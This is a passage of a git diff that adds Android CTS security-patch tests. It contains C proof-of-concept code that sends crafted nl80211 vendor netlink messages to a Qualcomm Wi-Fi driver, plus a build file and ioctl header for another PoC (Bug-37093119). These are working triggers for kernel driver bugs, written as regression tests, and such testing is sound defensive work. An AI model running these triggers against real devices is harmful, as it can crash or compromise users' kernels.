+ QCA_NL80211_VENDOR_SUBCMD_OCB_START_TIMING_ADVERT = 94,
+ QCA_NL80211_VENDOR_SUBCMD_OCB_STOP_TIMING_ADVERT = 95,
+ QCA_NL80211_VENDOR_SUBCMD_OCB_GET_TSF_TIMER = 96,
+ QCA_NL80211_VENDOR_SUBCMD_DCC_GET_STATS = 97,
+ QCA_NL80211_VENDOR_SUBCMD_DCC_CLEAR_STATS = 98,
+ QCA_NL80211_VENDOR_SUBCMD_DCC_UPDATE_NDL = 99,
+ QCA_NL80211_VENDOR_SUBCMD_DCC_STATS_EVENT = 100,
+
+ /* subcommand to get link properties */
+ QCA_NL80211_VENDOR_SUBCMD_LINK_PROPERTIES = 101,
+ QCA_NL80211_VENDOR_SUBCMD_SETBAND = 105,
+ QCA_NL80211_VENDOR_SUBCMD_SET_SAP_CONFIG = 118,
+};
+
+enum qca_wlan_vendor_attr {
+ QCA_WLAN_VENDOR_ATTR_INVALID = 0,
+ /* used by QCA_NL80211_VENDOR_SUBCMD_DFS_CAPABILITY */
+ QCA_WLAN_VENDOR_ATTR_DFS = 1,
+ /* used by QCA_NL80211_VENDOR_SUBCMD_NAN */
+ QCA_WLAN_VENDOR_ATTR_NAN = 2,
+ /* used by QCA_NL80211_VENDOR_SUBCMD_STATS_EXT */
+ QCA_WLAN_VENDOR_ATTR_STATS_EXT = 3,
+ /* used by QCA_NL80211_VENDOR_SUBCMD_STATS_EXT */
+ QCA_WLAN_VENDOR_ATTR_IFINDEX = 4,
+
+ /* used by QCA_NL80211_VENDOR_SUBCMD_ROAMING */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_POLICY = 5,
+ QCA_WLAN_VENDOR_ATTR_MAC_ADDR = 6,
+
+ /* used by QCA_NL80211_VENDOR_SUBCMD_GET_FEATURES */
+ QCA_WLAN_VENDOR_ATTR_FEATURE_FLAGS = 7,
+
+ /* Unsigned 32-bit value from enum qca_set_band */
+ QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE = 12,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_MAX = QCA_WLAN_VENDOR_ATTR_AFTER_LAST - 1
+};
+
+#define NETLINK_KERNEL_SOCKET 0x1
+#define NETLINK_RECV_PKTINFO 0x2
+#define NETLINK_BROADCAST_SEND_ERROR 0x4
+#define NETLINK_RECV_NO_ENOBUFS 0x8
+
+#define NLMSG_MIN_TYPE 0x10
+
+#define GENL_ID_GENERATE 0
+#define GENL_ID_CTRL NLMSG_MIN_TYPE
+#define GENL_ID_VFS_DQUOT (NLMSG_MIN_TYPE + 1)
+#define GENL_ID_PMCRAID (NLMSG_MIN_TYPE + 2)
+
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+#define QCA_NL80211_VENDOR_ID 0x001374
+
+#define MAX_MSG_SIZE 1024
+
+struct msgtemplate {
+ struct nlmsghdr n;
+ struct genlmsghdr g;
+ char buf[MAX_MSG_SIZE];
+};
+
+enum qca_wlan_vendor_attr_ndp_params {
+ QCA_WLAN_VENDOR_ATTR_NDP_PARAM_INVALID = 0,
+ QCA_WLAN_VENDOR_ATTR_NDP_SUBCMD,
+ QCA_WLAN_VENDOR_ATTR_NDP_TRANSACTION_ID,
+ QCA_WLAN_VENDOR_ATTR_NDP_SERVICE_INSTANCE_ID,
+ QCA_WLAN_VENDOR_ATTR_NDP_CHANNEL,
+ QCA_WLAN_VENDOR_ATTR_NDP_PEER_DISCOVERY_MAC_ADDR,
+ QCA_WLAN_VENDOR_ATTR_NDP_IFACE_STR,
+ QCA_WLAN_VENDOR_ATTR_NDP_CONFIG_SECURITY,
+ QCA_WLAN_VENDOR_ATTR_NDP_CONFIG_QOS,
+ QCA_WLAN_VENDOR_ATTR_NDP_APP_INFO_LEN,
+ QCA_WLAN_VENDOR_ATTR_NDP_APP_INFO,
+ QCA_WLAN_VENDOR_ATTR_NDP_INSTANCE_ID,
+ QCA_WLAN_VENDOR_ATTR_NDP_NUM_INSTANCE_ID,
+ QCA_WLAN_VENDOR_ATTR_NDP_INSTANCE_ID_ARRAY,
+ QCA_WLAN_VENDOR_ATTR_NDP_RESPONSE_CODE,
+ QCA_WLAN_VENDOR_ATTR_NDP_SCHEDULE_STATUS_CODE,
+ QCA_WLAN_VENDOR_ATTR_NDP_NDI_MAC_ADDR,
+ QCA_WLAN_VENDOR_ATTR_NDP_DRV_RETURN_TYPE,
+ QCA_WLAN_VENDOR_ATTR_NDP_DRV_RETURN_VALUE,
+
+ QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_MAX =
+ QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_AFTER_LAST - 1,
+};
+
+enum qca_wlan_vendor_attr_dcc_update_ndl {
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_INVALID = 0,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_CHANNEL_COUNT,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_CHANNEL_ARRAY,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_ACTIVE_STATE_ARRAY,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_MAX =
+ QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_AFTER_LAST - 1,
+};
+
+#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX
+#define PARAM_REQUEST_ID \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
+#define PARAM_BASE_PERIOD \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD
+#define PARAM_MAX_AP_PER_SCAN \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN
+#define PARAM_RPT_THRHLD_PERCENT \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT
+#define PARAM_RPT_THRHLD_NUM_SCANS \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS
+#define PARAM_NUM_BUCKETS \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
+#define PARAM_CONFIG_FLAGS QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS
+
+static int send_cmd(int sd, __u16 nlmsg_type, __u32 nlmsg_pid, __u8 genl_cmd,
+ __u16 nla_type, void *nla_data, int nla_len) {
+ struct nlattr *na;
+ struct sockaddr_nl nladdr;
+ int r, buflen;
+ char *buf;
+
+ struct msgtemplate msg;
+
+ msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+ msg.n.nlmsg_type = nlmsg_type;
+ msg.n.nlmsg_flags = NLM_F_REQUEST;
+ msg.n.nlmsg_seq = 0;
+ msg.n.nlmsg_pid = nlmsg_pid;
+ msg.g.cmd = genl_cmd;
+ msg.g.version = 0x1;
+ na = (struct nlattr *)GENLMSG_DATA(&msg);
+ na->nla_type = nla_type;
+ na->nla_len = nla_len + 1 + NLA_HDRLEN;
+ memcpy(NLA_DATA(na), nla_data, nla_len);
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ buf = (char *)&msg;
+ buflen = msg.n.nlmsg_len;
+ memset(&nladdr, 0, sizeof(nladdr));
+ nladdr.nl_family = AF_NETLINK;
+
+ if (buflen !=
+ sendto(sd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr))) {
+ return -1;
+ }
+
+ return 0;
+}
+
+static int get_family_id(int sd) {
+ int id = 0, rc;
+ struct nlattr *na;
+ int rep_len;
+ struct msgtemplate ans;
+
+ memset(&ans, 0, sizeof(struct msgtemplate));
+
+ rc = send_cmd(sd, GENL_ID_CTRL, getpid(), CTRL_CMD_GETFAMILY,
+ CTRL_ATTR_FAMILY_NAME, (void *)NL80211_GENL_NAME,
+ strlen(NL80211_GENL_NAME) + 1);
+ if (rc < 0) {
+ return 0; /* sendto() failure? */
+ }
+
+ rep_len = recv(sd, &ans, sizeof(ans), 0);
+
+ if (rep_len < 0) {
+ return -1;
+ }
+
+ na = (struct nlattr *)GENLMSG_DATA(&ans);
+ na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+ if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
+ id = *(__u16 *)NLA_DATA(na);
+ }
+ na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+ return id;
+}
+
+int start_p2p(int id, int fd) {
+ struct nlattr *na;
+ struct nlattr *na_data;
+ struct sockaddr_nl nladdr;
+ int r, buflen, ret;
+ char *buf;
+ struct msgtemplate msg, ans;
+
+ msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+ msg.n.nlmsg_type = id;
+ msg.n.nlmsg_flags = NLM_F_REQUEST;
+ msg.n.nlmsg_seq = 0;
+ msg.n.nlmsg_pid = getpid();
+ msg.g.cmd = NL80211_CMD_START_P2P_DEVICE;
+ msg.g.version = 1;
+
+ na = (struct nlattr *)GENLMSG_DATA(&msg);
+ na->nla_type = NL80211_ATTR_WIPHY;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = 0;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
+ na->nla_type = NL80211_ATTR_IFINDEX;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = 24;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ buf = (char *)&msg;
+ buflen = msg.n.nlmsg_len;
+ memset(&nladdr, 0, sizeof(nladdr));
+ nladdr.nl_family = AF_NETLINK;
+ ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
+ if (ret < 0) {
+ return -1;
+ }
+
+ ret = recv(fd, &ans, sizeof(ans), 0);
+
+ return ret;
+}
+
+unsigned if_nametoindex(const char *ifname) {
+ int s = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
+ if (s == -1) return 0;
+ int ret = 0;
+ struct ifreq ifr;
+
+ memset(&ifr, 0, sizeof(ifr));
+ strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
+ ifr.ifr_name[IFNAMSIZ - 1] = 0;
+
+ ret = ioctl(s, SIOCGIFINDEX, &ifr);
+ close(s);
+ return (ret == -1) ? 0 : ifr.ifr_ifindex;
+}
+
+int get_wiphy_idx(int id, int fd, int *ifindex, int *wiphyid, char *ifname) {
+ struct nlattr *na;
+ struct nlattr *na_data;
+ struct sockaddr_nl nladdr;
+ int r, buflen, ret;
+ char *buf;
+ struct msgtemplate msg, ans;
+
+ int if_index = if_nametoindex("wlan0");
+ msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+ msg.n.nlmsg_type = id;
+ msg.n.nlmsg_flags = NLM_F_REQUEST;
+ msg.n.nlmsg_seq = 0;
+ msg.n.nlmsg_pid = getpid();
+ msg.g.cmd = NL80211_CMD_GET_INTERFACE;
+ msg.g.version = 1;
+
+ na = (struct nlattr *)GENLMSG_DATA(&msg);
+ na->nla_type = NL80211_ATTR_IFINDEX;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = if_index;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ buf = (char *)&msg;
+ buflen = msg.n.nlmsg_len;
+ memset(&nladdr, 0, sizeof(nladdr));
+ nladdr.nl_family = AF_NETLINK;
+ ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
+ if (ret < 0) {
+ return -1;
+ }
+
+ memset(&ans, 0, sizeof(ans));
+ ret = recv(fd, &ans, sizeof(ans), 0);
+
+ na = (struct nlattr *)GENLMSG_DATA(&ans);
+ *ifindex = *(u32 *)NLA_DATA(na);
+
+ na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+ strcpy(ifname, NLA_DATA(na));
+
+ na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+ *wiphyid = *(u32 *)NLA_DATA(na);
+
+ return ret;
+}
+
+int main(int argc, const char *argv[]) {
+ int ret;
+
+ int fd;
+ struct sockaddr_nl local;
+ struct msgtemplate ans;
+
+ /* 创建socket */
+ fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
+ if (fd < 0) return -1;
+
+ memset(&local, 0, sizeof(local));
+ local.nl_family = AF_NETLINK;
+
+ if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
+ return -1;
+ }
+
+ int id = get_family_id(fd);
+
+ int ifindex, wiphyid;
+ char ifname[64];
+ get_wiphy_idx(id, fd, &ifindex, &wiphyid, ifname);
+
+ struct nlattr *na;
+ struct nlattr *na_data;
+ struct sockaddr_nl nladdr;
+ int r, buflen;
+ char *buf;
+ struct msgtemplate msg;
+
+ msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+ msg.n.nlmsg_type = id;
+ msg.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
+ msg.n.nlmsg_seq = time(0);
+ msg.n.nlmsg_pid = getpid();
+ msg.g.cmd = NL80211_CMD_VENDOR;
+ msg.g.version = 1;
+
+ na = (struct nlattr *)GENLMSG_DATA(&msg);
+ na->nla_type = NL80211_ATTR_VENDOR_ID;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = QCA_NL80211_VENDOR_ID;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
+ na->nla_type = NL80211_ATTR_VENDOR_SUBCMD;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_BSSID_HOTLIST;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
+ na->nla_type = NL80211_ATTR_IFINDEX;
+ na->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na) = ifindex;
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ char data[1024] = {0};
+ int data_size = 0;
+ na_data = data;
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type =
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID;
+ na_data->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_data) = 1;
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP;
+ na_data->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_data) = 1;
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ char apTh[256] = {0};
+ int apTh_size = 0;
+ struct nlattr *na_apTh = apTh;
+
+ na_apTh = (struct nlattr *)((char *)na_apTh + NLMSG_ALIGN(na_apTh->nla_len));
+ na_apTh->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW;
+ na_apTh->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_apTh) = -1;
+ apTh_size += NLMSG_ALIGN(na_apTh->nla_len);
+
+ na_apTh = (struct nlattr *)((char *)na_apTh + NLMSG_ALIGN(na_apTh->nla_len));
+ na_apTh->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH;
+ na_apTh->nla_len = 4 + NLA_HDRLEN;
+ *(u32 *)NLA_DATA(na_apTh) = 0x1;
+ apTh_size += NLMSG_ALIGN(na_apTh->nla_len);
+
+ char middlebuf[256] = {0};
+ int middlebuf_size = 0;
+ struct nlattr *na_middle = middlebuf;
+
+ na_middle =
+ (struct nlattr *)((char *)na_middle + NLMSG_ALIGN(na_middle->nla_len));
+ na_middle->nla_type = 0;
+ na_middle->nla_len = apTh_size + NLA_HDRLEN;
+ memcpy(NLA_DATA(na_middle), apTh, apTh_size);
+ middlebuf_size += NLMSG_ALIGN(na_middle->nla_len);
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM;
+ na_data->nla_len = middlebuf_size + NLA_HDRLEN;
+ memcpy(NLA_DATA(na_data), middlebuf, middlebuf_size);
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
+ na_data->nla_type =
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE;
+ na_data->nla_len = 0 + NLA_HDRLEN;
+ data_size += NLMSG_ALIGN(na_data->nla_len);
+
+ na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
+ na->nla_type = NL80211_ATTR_VENDOR_DATA;
+ na->nla_len = data_size + NLA_HDRLEN;
+ memcpy(NLA_DATA(na), data, data_size);
+ msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+ buf = (char *)&msg;
+ buflen = msg.n.nlmsg_len;
+ memset(&nladdr, 0, sizeof(nladdr));
+ nladdr.nl_family = AF_NETLINK;
+ ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
+ if (ret < 0) {
+ return -1;
+ }
+
+ memset(&ans, 0, sizeof(ans));
+
+ ret = recv(fd, &ans, sizeof(ans), 0);
+ na = (struct nlattr *)GENLMSG_DATA(&ans);
+ char *temp = na;
+
+ struct nlattr *nla;
+ int rem;
+ nla_for_each_attr(nla, na, ret - 20, rem) {
+ if (nla->nla_type == NL80211_ATTR_VENDOR_DATA) {
+ struct nlattr *nla0;
+ int rem0;
+ nla_for_each_attr(nla0, NLA_DATA(nla), nla->nla_len, rem0) { break; }
+ }
+ }
+ return ret;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-37093119/Android.mk b/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
new file mode 100644
index 0000000..00f77fd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-37093119
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-37093119/local_poc.h b/hostsidetests/security/securityPatch/Bug-37093119/local_poc.h
new file mode 100644
index 0000000..456fe36
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-37093119/local_poc.h
@@ -0,0 +1,349 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __CMD_H__
+#define __CMD_H__
+#endif
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+#define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+#define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+#define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+#define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+#define _IOC_READ 2U
+#endif
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir, type, nr, size) \
+ (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
+ ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
+
+/* used to create numbers */
+#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
+#define _IOR(type, nr, size) \
+ _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOW(type, nr, size) \
+ _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOWR(type, nr, size) \
+ _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+
+#define MSMFB_IOCTL_MAGIC 'm'
+
+struct mdp_pp_feature_version {
+ uint32_t pp_feature;
+ uint32_t version_info;
+};
+#define MSMFB_MDP_PP_GET_FEATURE_VERSION \
+ _IOWR(MSMFB_IOCTL_MAGIC, 171, struct mdp_pp_feature_version)
+
+struct fb_cmap_user {
+ __u32 start; /* First entry */
+ __u32 len; /* Number of entries */
+ __u16 *red; /* Red values */
+ __u16 *green;
+ __u16 *blue;
+ __u16 *transp; /* transparency, can be NULL */
+};
+#define FBIOPUTCMAP 0x4605
+
+/* QSEED3 LUT sizes */
+#define DIR_LUT_IDX 1
+#define DIR_LUT_COEFFS 200
+#define CIR_LUT_IDX 9
+#define CIR_LUT_COEFFS 60
+#define SEP_LUT_IDX 10
+#define SEP_LUT_COEFFS 60
+
+struct mdp_scale_luts_info {
+ uint64_t dir_lut;
+ uint64_t cir_lut;
+ uint64_t sep_lut;
+ uint32_t dir_lut_size;
+ uint32_t cir_lut_size;
+ uint32_t sep_lut_size;
+};
+
+struct mdp_set_cfg {
+ uint64_t flags;
+ uint32_t len;
+ uint64_t payload;
+};
+#define MDP_QSEED3_LUT_CFG 0x1
+
+#define MDP_IOCTL_MAGIC 'S'
+#define MSMFB_MDP_SET_CFG _IOW(MDP_IOCTL_MAGIC, 130, struct mdp_set_cfg)
+
+#define MDP_LAYER_COMMIT_V1_PAD 4
+
+struct mdp_rect {
+ uint32_t x;
+ uint32_t y;
+ uint32_t w;
+ uint32_t h;
+};
+
+enum mdss_mdp_blend_op {
+ BLEND_OP_NOT_DEFINED = 0,
+ BLEND_OP_OPAQUE,
+ BLEND_OP_PREMULTIPLIED,
+ BLEND_OP_COVERAGE,
+ BLEND_OP_MAX,
+};
+
+enum mdp_color_space {
+ MDP_CSC_ITU_R_601,
+ MDP_CSC_ITU_R_601_FR,
+ MDP_CSC_ITU_R_709,
+};
+
+struct mdp_layer_plane {
+ /* DMA buffer file descriptor information. */
+ int fd;
+
+ /* Pixel offset in the dma buffer. */
+ uint32_t offset;
+
+ /* Number of bytes in one scan line including padding bytes. */
+ uint32_t stride;
+};
+
+#define MAX_PLANES 4
+
+struct mult_factor {
+ uint32_t numer;
+ uint32_t denom;
+};
+struct mdp_layer_buffer {
+ uint32_t width;
+ uint32_t height;
+ uint32_t format;
+
+ /* plane to hold the fd, offset, etc for all color components */
+ struct mdp_layer_plane planes[MAX_PLANES];
+
+ /* valid planes count in layer planes list */
+ uint32_t plane_count;
+
+ /* compression ratio factor, value depends on the pixel format */
+ struct mult_factor comp_ratio;
+
+ /*
+ * SyncFence associated with this buffer. It is used in two ways.
+ *
+ * 1. Driver waits to consume the buffer till producer signals in case
+ * of primary and external display.
+ *
+ * 2. Writeback device uses buffer structure for output buffer where
+ * driver is producer. However, client sends the fence with buffer to
+ * indicate that consumer is still using the buffer and it is not ready
+ * for new content.
+ */
+ int fence;
+
+ /* 32bits reserved value for future usage. */
+ uint32_t reserved;
+};
+
+struct mdp_input_layer {
+ uint32_t flags;
+ uint32_t pipe_ndx;
+ uint8_t horz_deci;
+ uint8_t vert_deci;
+ uint8_t alpha;
+ uint16_t z_order;
+ uint32_t transp_mask;
+ uint32_t bg_color;
+
+ /* blend operation defined in "mdss_mdp_blend_op" enum. */
+ enum mdss_mdp_blend_op blend_op;
+
+ /* color space of the source */
+ enum mdp_color_space color_space;
+
+ struct mdp_rect src_rect;
+
+ /*
+ * Destination rectangle, the position and size of image on screen.
+ * This should always be within panel boundaries.
+ */
+ struct mdp_rect dst_rect;
+
+ /* Scaling parameters. */
+ void __user *scale;
+
+ /* Buffer attached with each layer. Device uses it for commit call. */
+ struct mdp_layer_buffer buffer;
+
+ void __user *pp_info;
+ int error_code;
+ uint32_t reserved[6];
+};
+
+struct mdp_output_layer {
+ /*
+ * Flag to enable/disable properties for layer configuration. Refer
+ * layer flag config section for all possible flags.
+ */
+ uint32_t flags;
+
+ /*
+ * Writeback destination selection for output. Client provides the index
+ * in validate and commit call.
+ */
+ uint32_t writeback_ndx;
+
+ /* Buffer attached with output layer. Device uses it for commit call */
+ struct mdp_layer_buffer buffer;
+
+ /* color space of the destination */
+ enum mdp_color_space color_space;
+
+ /* 32bits reserved value for future usage. */
+ uint32_t reserved[5];
+};
+
+struct mdp_layer_commit_v1 {
+ uint32_t flags;
+ int release_fence;
+ struct mdp_rect left_roi;
+ struct mdp_rect right_roi;
+ struct mdp_input_layer __user *input_layers;
+
+ /* Input layer count present in input list */
+ uint32_t input_layer_cnt;
+
+ struct mdp_output_layer __user *output_layer;
+
+ int retire_fence;
+ void __user *dest_scaler;
+ uint32_t dest_scaler_cnt;
+
+ uint32_t reserved[MDP_LAYER_COMMIT_V1_PAD];
+};
+
+struct mdp_layer_commit {
+ /*
+ * 32bit version indicates the commit structure selection
+ * from union. Lower 16bits indicates the minor version while
+ * higher 16bits indicates the major version. It selects the
+ * commit structure based on major version selection. Minor version
+ * indicates that reserved fields are in use.
+ *
+ * Current supported version is 1.0 (Major:1 Minor:0)
+ */
+ uint32_t version;
+ union {
+ /* Layer commit/validate definition for V1 */
+ struct mdp_layer_commit_v1 commit_v1;
+ };
+};
+
+#define MDP_IOCTL_MAGIC 'S'
+/* atomic commit ioctl used for validate and commit request */
+#define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
+
+#define MISR_CRC_BATCH_SIZE 32
+struct mdp_misr {
+ uint32_t block_id;
+ uint32_t frame_count;
+ uint32_t crc_op_mode;
+ uint32_t crc_value[MISR_CRC_BATCH_SIZE];
+};
+
+struct mdp_blend_cfg {
+ uint32_t is_premultiplied;
+};
+
+struct mdp_mixer_cfg {
+ uint32_t writeback_format;
+ uint32_t alpha;
+};
+
+struct mdss_hw_caps {
+ uint32_t mdp_rev;
+ uint8_t rgb_pipes;
+ uint8_t vig_pipes;
+ uint8_t dma_pipes;
+ uint8_t max_smp_cnt;
+ uint8_t smp_per_pipe;
+ uint32_t features;
+};
+
+enum {
+ metadata_op_none,
+ metadata_op_base_blend,
+ metadata_op_frame_rate,
+ metadata_op_vic,
+ metadata_op_wb_format,
+ metadata_op_wb_secure,
+ metadata_op_get_caps,
